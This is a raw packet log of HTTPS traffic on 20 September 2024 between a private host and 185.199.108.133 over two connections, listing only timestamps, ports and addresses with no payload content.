Sep 20, 2024 12:14:51.200243950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.231584072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.231616020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.231933117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.231965065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.231986046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232018948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232172966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.232172966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.232184887 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232331991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232353926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232368946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.232387066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232578993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.232721090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232745886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232805967 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.232814074 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.232861042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.233082056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.233107090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.233158112 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.233164072 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.233186960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.233215094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.235340118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.235366106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.235409975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.235416889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.235457897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.235481024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.235917091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.235939980 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.235995054 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.236001968 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.236028910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.236062050 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.236313105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.236337900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.236388922 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.236396074 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.236424923 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.236450911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.289221048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289285898 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289479017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289526939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289535999 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.289602995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289637089 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289643049 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.289644003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.289689064 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289716959 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.289733887 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.289788961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.293744087 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.293792963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.293843031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.293855906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.293884039 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.294138908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294178009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294222116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.294233084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294272900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.294605970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294651031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294697046 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.294708014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294733047 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.294857025 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294898033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294941902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.294954062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.294981003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.295108080 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.295169115 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.295197010 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.295207977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.295243979 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328229904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328260899 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328382969 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328402996 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328461885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328564882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328589916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328634024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328643084 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328681946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328706980 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328893900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328918934 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.328973055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.328980923 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329019070 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329046011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329243898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329269886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329335928 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329341888 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329380035 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329404116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329524994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329550028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329588890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329605103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329634905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329662085 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329866886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329890966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.329961061 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.329967976 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330018044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.330245972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330270052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330318928 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.330327034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330372095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.330658913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330682993 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330729961 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.330737114 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.330769062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.330796957 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.347273111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376101017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376164913 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376260042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376327038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376359940 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376363993 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376405001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376418114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376444101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376447916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376519918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376573086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376614094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376665115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376677990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.376707077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.376735926 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.380985975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381026030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381211042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381272078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381314039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381320000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381352901 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381361961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381401062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381407976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381469965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381505013 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381622076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381661892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381709099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381725073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381752968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381793022 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.381901979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.381954908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.382003069 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.382014036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.382050991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.382075071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.382139921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.382205963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.382246017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.382256985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.382306099 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.382324934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.415472031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.415504932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.415570021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.415596008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.415623903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.415649891 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.415831089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.415880919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.415906906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.415915966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.415949106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.416256905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.416280031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.416315079 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.416322947 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.416368961 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.416618109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.416642904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.416680098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.416687012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.416712046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.417010069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417042017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417125940 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.417125940 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.417159081 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417347908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417371988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417468071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.417478085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417722940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417752981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417790890 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.417802095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.417825937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.418036938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.418059111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.418123007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.418131113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.418164015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.463816881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.463881016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464015961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464066982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464068890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.464098930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464118004 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.464159012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464171886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.464191914 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464231968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.464232922 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.464335918 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.464344978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.467803955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.467869997 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.467904091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.467911959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.467961073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.468030930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.468084097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.468287945 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.468295097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.468430042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.468491077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.468525887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.468532085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.468581915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.468934059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.468974113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.469019890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.469036102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.469068050 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.469197035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.469247103 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.469278097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.469284058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.469324112 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.472091913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.503151894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.503223896 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.503343105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.503442049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.503601074 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.503633022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.503650904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.503959894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.503959894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.503959894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.505134106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505161047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505230904 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.505244970 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505431890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505462885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505501032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.505511045 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505537033 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.505651951 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505677938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505712032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.505719900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.505745888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.506014109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.506045103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.506077051 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.506083965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.506131887 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.506268024 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.506290913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.506335020 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.506342888 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.506380081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.519258976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.550225019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.550955057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.551078081 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.551142931 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.551228046 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.551502943 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.551548958 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.551588058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.551594973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.551626921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.551649094 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.552438021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.552525043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.552541971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.552550077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.552599907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.552625895 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559012890 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559079885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559138060 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559145927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559190035 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559210062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559361935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559437990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559467077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559473038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559505939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559526920 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559540987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559595108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559623003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559629917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559664965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559688091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559737921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559787035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559827089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559833050 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559875011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559900999 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:51.559933901 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.559976101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:51.560005903 CEST	58640	443	192.168.2.4	185.199.108.133
